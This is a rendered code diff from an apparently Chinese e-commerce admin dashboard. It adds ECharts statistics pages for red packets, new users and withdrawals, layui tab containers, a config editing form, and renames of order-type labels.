| | | var text = "统计每个渠道新增人数";
|
| | | explainCount(text);
|
| | | });
|
| | | }, 1000); |
| | | |
| | | </script> |
copy from childPath/charts/prize/mianDanMoney.html
copy to childPath/charts/user/new_user_tlj_charts.html
File was copied from childPath/charts/prize/mianDanMoney.html |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>免单券-金额</title> |
| | | <title>新人红包数据</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | |
| | | </head> |
| | | |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox bg-white"> |
| | | <div id="allwai" class="winSizeBox bg-white"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '免单券-免单金额' }, |
| | | title: { text: '红包新增' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | }, |
| | | // Y轴 |
| | | yAxis: { |
| | | name: "金额", |
| | | name: "累计", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 元' }, |
| | | axisLabel: { formatter: '{value}' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/userCoupon/getFreeCouponMoneyCharts"; |
| | | // 请求数据 |
| | | var mydata = { |
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getUserCharts";
|
| | | |
| | | var mydata = {
|
| | | dateType: optC.select.result, |
| | | coupon: optC.change.result, |
| | | }; |
| | | };
|
| | | |
| | | if (optC.change.result == 1){
|
| | | mydata.typeArray = ["newUserTljMoney"];
|
| | | } else {
|
| | | mydata.typeArray = ["newUserTljNum"];
|
| | | }
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | | if (mydata.dateType == "1") { |
| | | mydata.startTime = optC.input[0].result; // 开始时间 |
| | | mydata.endTime = optC.input[1]?optC.input[1].result:""; // 结束时间 |
| | | } |
| | | if (mydata.dateType == "2") |
| | | { |
| | | }
|
| | | |
| | | if (mydata.dateType == "2") { |
| | | mydata.year = optC.input[0].result; // 年份 |
| | | } |
| | | }
|
| | | |
| | | // 数据请求 |
| | | doui.showLoading("加载数据"); |
| | | doui.request({ |
| | |
| | | // 年视图 |
| | | else if (back == "3") { adminDom.header.input({ num: 1, type: "number", placeholder: "该模式下无需输入" }); } |
| | | } |
| | | }); |
| | | });
|
| | | |
| | | |
| | | // 切换
|
| | | adminDom.header.change({
|
| | | show: true,
|
| | | list: [
|
| | | { key: 1, value: "金额" },
|
| | | { key: 2, value: "数量" },
|
| | | ],
|
| | | });
|
| | | |
| | | |
| | | // 输入搜索 |
| | | adminDom.header.input({ num: 2, type: "date", }); |
| | | // 下拉框 |
| | | adminDom.header.change({ |
| | | show: true, |
| | | list: [ |
| | | { "key": "1", value: "免单券 " }, |
| | | { "key": "2", value: "福利免单券" }, |
| | | { "key": "3", value: "自购免单券" }, |
| | | ], |
| | | }); |
| | | |
| | | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta charset="utf-8">
|
| | | <title>红包数据</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | //getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style type="text/css">
|
| | |
|
| | | </style>
|
| | |
|
| | | </head>
|
| | | <body>
|
| | | <div class="layui-tab layui-tab-brief" lay-filter="tabBrief">
|
| | | <ul class="layui-tab-title">
|
| | | <li class="layui-this" lay-id="t1">奖励红包</li>
|
| | | <li lay-id="t2">新人红包</li>
|
| | | </ul>
|
| | | <div class="layui-tab-content" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t1" align="center" width="100%" height="100%" datasrc="redpack_charts.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t2" align="center" width="100%" height="100%" datasrc="new_user_tlj_charts.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script type="text/javascript">
|
| | | layui.use('element', function() {
|
| | | var element = layui.element;
|
| | | element.on('tab(tabBrief)', function() {
|
| | | for (var i = 0; i < $('iframe').length; i++) {
|
| | | var id = this.getAttribute('lay-id');
|
| | | if ($('iframe').eq(i).attr('tab-id') == id) {
|
| | | var src = $('iframe').eq(i).attr("src");
|
| | | if (src == null || src == '' || src.length == 0) {
|
| | | $('iframe').eq(i).attr("src", $('iframe').eq(i).attr("datasrc"));
|
| | | }
|
| | | }
|
| | | };
|
| | | });
|
| | | element.tabChange('tabBrief', "t1");
|
| | | });
|
| | | </script> |
copy from childPath/charts/prize/mianDanMoney.html
copy to childPath/charts/user/redpack_charts.html
File was copied from childPath/charts/prize/mianDanMoney.html |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>免单券-金额</title> |
| | | <title>红包数据</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | |
| | | </head> |
| | | |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox bg-white"> |
| | | <div id="allwai" class="winSizeBox bg-white"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '免单券-免单金额' }, |
| | | title: { text: '红包新增' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | }, |
| | | // Y轴 |
| | | yAxis: { |
| | | name: "金额", |
| | | name: "累计", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 元' }, |
| | | axisLabel: { formatter: '{value}' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/userCoupon/getFreeCouponMoneyCharts"; |
| | | // 请求数据 |
| | | var mydata = { |
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getUserCharts";
|
| | | |
| | | var mydata = {
|
| | | dateType: optC.select.result, |
| | | coupon: optC.change.result, |
| | | }; |
| | | };
|
| | | |
| | | if (optC.change.result == 1){
|
| | | mydata.typeArray = ["redpackMoney"];
|
| | | } else {
|
| | | mydata.typeArray = ["redpackNum"];
|
| | | }
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | | if (mydata.dateType == "1") { |
| | | mydata.startTime = optC.input[0].result; // 开始时间 |
| | | mydata.endTime = optC.input[1]?optC.input[1].result:""; // 结束时间 |
| | | } |
| | | if (mydata.dateType == "2") |
| | | { |
| | | }
|
| | | |
| | | if (mydata.dateType == "2") { |
| | | mydata.year = optC.input[0].result; // 年份 |
| | | } |
| | | }
|
| | | |
| | | // 数据请求 |
| | | doui.showLoading("加载数据"); |
| | | doui.request({ |
| | |
| | | // 年视图 |
| | | else if (back == "3") { adminDom.header.input({ num: 1, type: "number", placeholder: "该模式下无需输入" }); } |
| | | } |
| | | }); |
| | | });
|
| | | |
| | | |
| | | // 切换
|
| | | adminDom.header.change({
|
| | | show: true,
|
| | | list: [
|
| | | { key: 1, value: "金额" },
|
| | | { key: 2, value: "数量" },
|
| | | ],
|
| | | });
|
| | | |
| | | |
| | | // 输入搜索 |
| | | adminDom.header.input({ num: 2, type: "date", }); |
| | | // 下拉框 |
| | | adminDom.header.change({ |
| | | show: true, |
| | | list: [ |
| | | { "key": "1", value: "免单券 " }, |
| | | { "key": "2", value: "福利免单券" }, |
| | | { "key": "3", value: "自购免单券" }, |
| | | ], |
| | | }); |
| | | |
| | | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta charset="utf-8">
|
| | | <title>用户数据</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | //getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style type="text/css">
|
| | |
|
| | | </style>
|
| | |
|
| | | </head>
|
| | | <body>
|
| | | <div class="layui-tab layui-tab-brief" lay-filter="tabBrief">
|
| | | <ul class="layui-tab-title">
|
| | | <li class="layui-this" lay-id="t1">新增-渠道统计</li>
|
| | | <li lay-id="t2">新增-下单转化率</li>
|
| | | <li lay-id="t3">活跃-90天后再次打开</li>
|
| | | </ul>
|
| | | <div class="layui-tab-content" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t1" align="center" width="100%" height="100%" datasrc="new_add.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t2" align="center" width="100%" height="100%" datasrc="down_order_actived.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t3" align="center" width="100%" height="100%" datasrc="active_again_90.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script type="text/javascript">
|
| | | layui.use('element', function() {
|
| | | var element = layui.element;
|
| | | element.on('tab(tabBrief)', function() {
|
| | | for (var i = 0; i < $('iframe').length; i++) {
|
| | | var id = this.getAttribute('lay-id');
|
| | | if ($('iframe').eq(i).attr('tab-id') == id) {
|
| | | var src = $('iframe').eq(i).attr("src");
|
| | | if (src == null || src == '' || src.length == 0) {
|
| | | $('iframe').eq(i).attr("src", $('iframe').eq(i).attr("datasrc"));
|
| | | }
|
| | | }
|
| | | };
|
| | | });
|
| | | element.tabChange('tabBrief', "t1");
|
| | | });
|
| | | |
| | | </script> |
| | |
| | | yAxis: { |
| | | name: "数目", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 单' }, |
| | | axisLabel: { formatter: '{value} 次' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/extract/getAuditTotal"; |
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getUserCharts"; |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | | stateArray: optC.screen[0].result, // 审核结果 |
| | | }; |
| | | };
|
| | | |
| | | mydata.typeArray = ["extractAuditPass","extractAuditReject"];
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | |
| | | legendData.push(res.data.line_list[i].name); |
| | | res.data.line_list[i].type = "line"; // 线条样式 |
| | | res.data.line_list[i].smooth = true; // 线条平滑 |
| | | res.data.line_list[i].stack = '总量'; // 数据堆叠 |
| | | //res.data.line_list[i].stack = '总量'; // 数据堆叠 |
| | | } |
| | | // 图表赋值 |
| | | option.legend.data = legendData; // 图例项 |
| | |
| | | }); |
| | | // 输入搜索 |
| | | adminDom.header.input({ num: 2, type: "date", }); |
| | | // 筛选项 |
| | | adminDom.header.screen({ |
| | | show: true, |
| | | list: [ |
| | | { |
| | | title: "审核结果", |
| | | muchCheck: true, // 是否可以多选 |
| | | child: [ |
| | | { key: ["3"], value: "总数量", check: false }, |
| | | { key: ["1"], value: "通过数量", check: true }, |
| | | { key: ["2"], value: "驳回数量", check: true }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | | }, |
| | | ], |
| | | }); |
| | | |
| | | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>用户提现次数</title> |
| | | <title>用户提现</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '用户提现次数' }, |
| | | title: { text: '次数/金额' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | }, |
| | | // Y轴 |
| | | yAxis: { |
| | | name: "次数", |
| | | name: "累计", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 次' }, |
| | | axisLabel: { formatter: '{value}' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/extract/getExtractApplyNumber"; |
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getUserCharts";
|
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | | }; |
| | | };
|
| | | |
| | | if (optC.change.result == 1){
|
| | | mydata.typeArray = ["extractApplyNumber"];
|
| | | } else {
|
| | | mydata.typeArray = ["extractApplyMoney"];
|
| | | }
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | |
| | | } |
| | | }); |
| | | } |
| | | }); |
| | | });
|
| | | |
| | | // 切换
|
| | | adminDom.header.change({
|
| | | show: true,
|
| | | list: [
|
| | | { key: 1, value: "次数" },
|
| | | { key: 2, value: "金额" },
|
| | | ],
|
| | | });
|
| | | |
| | | // 下拉框 |
| | | adminDom.header.select({ |
| | | show: true, |
| | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth});
|
| | | |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta charset="utf-8">
|
| | | <title>资金数据</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | //getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style type="text/css">
|
| | |
|
| | | </style>
|
| | |
|
| | | </head>
|
| | | <body>
|
| | | <div class="layui-tab layui-tab-brief" lay-filter="tabBrief">
|
| | | <ul class="layui-tab-title">
|
| | | <li class="layui-this" lay-id="t1">用户提现</li>
|
| | | <li lay-id="t2">审核次数</li>
|
| | | </ul>
|
| | | <div class="layui-tab-content" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t1" align="center" width="100%" height="100%" datasrc="numtiXian.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t2" align="center" width="100%" height="100%" datasrc="keFuShenHe.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script type="text/javascript">
|
| | | layui.use('element', function() {
|
| | | var element = layui.element;
|
| | | element.on('tab(tabBrief)', function() {
|
| | | for (var i = 0; i < $('iframe').length; i++) {
|
| | | var id = this.getAttribute('lay-id');
|
| | | if ($('iframe').eq(i).attr('tab-id') == id) {
|
| | | var src = $('iframe').eq(i).attr("src");
|
| | | if (src == null || src == '' || src.length == 0) {
|
| | | $('iframe').eq(i).attr("src", $('iframe').eq(i).attr("datasrc"));
|
| | | }
|
| | | }
|
| | | };
|
| | | });
|
| | | element.tabChange('tabBrief', "t1");
|
| | | });
|
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <title>Layui</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" />
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | |
|
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | | </head>
|
| | | <body>
|
| | | <div style="margin:50px auto; width:90%; height:auto; ">
|
| | | <hr>
|
| | | <form class="layui-form" lay-filter="contentForm" style="margin-top: 40px;">
|
| | | <div id="content">
|
| | | <div v-for="(item, index) in list">
|
| | | <input type="text" hidden="hidden" v-bind:name="'config['+index +'].id'" v-bind:value="item.config.id" />
|
| | |
|
| | | <v-if v-if="item.editMode == 1">
|
| | | <div class="layui-form-item">
|
| | | <label class="layui-form-label" style="width: 20%;">{{item.config.name}}:</label>
|
| | | <div class="layui-input-block">
|
| | | <input type="text" lay-verify="title" autocomplete="off" class="layui-input" style="width: 70%;" v-bind:name="'config['+index +'].value'"
|
| | | v-bind:value="item.config.value">
|
| | | </div>
|
| | | </div>
|
| | | </v-if>
|
| | |
|
| | |
|
| | | <v-if v-if="item.editMode == 2">
|
| | | <div class="layui-form-item layui-form-text">
|
| | | <label class="layui-form-label" style="width: 20%;">{{item.config.name}}:</label>
|
| | | <div class="layui-input-block">
|
| | | <textarea class="layui-textarea" style="width: 70%;height:200px;" v-bind:name="'config['+index +'].value'">{{item.config.value}}</textarea>
|
| | | </div>
|
| | | </div>
|
| | | </v-if>
|
| | |
|
| | | <v-if v-if="item.editMode == 3">
|
| | | <div class="layui-form-item">
|
| | | <label class="layui-form-label" style="width: 20%;">{{item.config.name}}:</label>
|
| | | <div class="layui-input-block">
|
| | | <v-if v-if="item.config.value == 1">
|
| | | <input type="checkbox" value="开" v-bind:id="'config'+index" lay-skin="switch" lay-filter="switchTest" lay-text="开|关" checked>
|
| | | <input type="text" hidden="hidden" v-bind:id="'config'+index +'value'" v-bind:name="'config['+index +'].value'" v-bind:value="item.config.value">
|
| | | </v-if>
|
| | | <v-if v-if="item.config.value != 1">
|
| | | <input type="checkbox" value="关" v-bind:id="'config'+index" lay-skin="switch" lay-filter="switchTest" lay-text="开|关">
|
| | | <input type="text" hidden="hidden" v-bind:id="'config'+index +'value'" v-bind:name="'config['+index +'].value'" v-bind:value="item.config.value">
|
| | | </v-if>
|
| | | </div>
|
| | | </div>
|
| | | </v-if>
|
| | |
|
| | | </div>
|
| | | </div>
|
| | |
|
| | | <div class="layui-form-item" style="margin:20px 0px 0px 250px; width: 50px;">
|
| | | <div class="layui-input-block">
|
| | | <button type="button" class="layui-btn" id="submitData" style="width: 200px;height:60px">立即保存</button>
|
| | | </div>
|
| | | </div>
|
| | | </form>
|
| | | <hr>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | |
|
| | |
|
| | | <script>
|
| | | //只有执行了这一步,部分表单元素才会自动修饰成功
|
| | | layui.use('form', function() {
|
| | | var form = layui.form;
|
| | | form.render();
|
| | | });
|
| | |
|
| | | // 接收传递值
|
| | | var type = "maskControl";
|
| | | var from;
|
| | | layui.use(['form', 'layedit', 'laydate'], function() {
|
| | | form = layui.form,
|
| | | layer = layui.layer,
|
| | | layedit = layui.layedit;
|
| | |
|
| | | //表单取值
|
| | | layui.$('#submitData').on('click', function() {
|
| | | var mydata = form.val('contentForm');
|
| | | doui.upload({
|
| | | url: gethttp() + "/admin/new/api/v1/config/saveConfig",
|
| | | data: mydata,
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | doui.showToast("保存成功");
|
| | |
|
| | | // 刷新页面数据
|
| | | doui.pageToUrl({
|
| | | type: "replace",
|
| | | url: "config_manage.html",
|
| | | data: {
|
| | | type: type,
|
| | | },
|
| | | });
|
| | | }
|
| | | }
|
| | | });
|
| | | });
|
| | | });
|
| | |
|
| | | //监听指定开关
|
| | | form.on('switch(switchTest)', function(data) {
|
| | | var value = 0;
|
| | | if (this.checked) {
|
| | | value = 1;
|
| | | }
|
| | | $("#" + this.id + "value").val(value);
|
| | | });
|
| | |
|
| | | // doui准备完毕
|
| | | doui.onReady({
|
| | | success: function() {
|
| | | var vm = new Vue({
|
| | | el: "#content",
|
| | | // 数据
|
| | | data: {
|
| | | list: [],
|
| | | },
|
| | | updated: function() {
|
| | | layui.use(['form'], function() {
|
| | | form.render();
|
| | | })
|
| | | },
|
| | | });
|
| | |
|
| | | doui.urlParam({
|
| | | success: function(params) {
|
| | | type = params.type;
|
| | | },
|
| | | });
|
| | |
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); //0代表加载的风格,支持0-2
|
| | |
|
| | | // 请求数据
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + '/admin/new/api/v1/config/getByCategory',
|
| | | data: {
|
| | | type: type
|
| | | },
|
| | | success: function(res) {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | vm.list = res.data.list
|
| | | }
|
| | | },
|
| | | });
|
| | | },
|
| | | });
|
| | | </script> |
| | |
| | | child: [ |
| | | { key: [1], value: "自购订单", check: false }, |
| | | { key: [2], value: "分享订单", check: false }, |
| | | { key: [3], value: "邀请订单", check: false }, |
| | | { key: [3], value: "团队订单", check: false }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | | }, |
| | |
| | | muchCheck: false, // 是否可以多选 |
| | | child: [ |
| | | { key: [1], value: "有效", check: false }, |
| | | { key: [2], value: "维权", check: false }, |
| | | { key: [2], value: "售后", check: false }, |
| | | { key: [3], value: "失效", check: false }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | |
| | | // 订单类型 |
| | | if (thatTr.td[0].key == 1) { thatTr.td[0].value = "自购"; thatTr.td[0]["class"] = "font-blue"; } |
| | | else if (thatTr.td[0].key == 2) { thatTr.td[0].value = "分享"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == 3) { thatTr.td[0].value = "邀请"; thatTr.td[0]["class"] = "font-green"; } |
| | | else if (thatTr.td[0].key == 3) { thatTr.td[0].value = "团队"; thatTr.td[0]["class"] = "font-green"; } |
| | | //渠道标识 |
| | | |
| | | |
New file |
| | |
| | | <!DOCTYPE html> |
| | | <html> |
| | | |
| | | <head> |
| | | <meta charset="utf-8" /> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"/> |
| | | <title>京东订单</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css"/> |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script type="text/javascript"> |
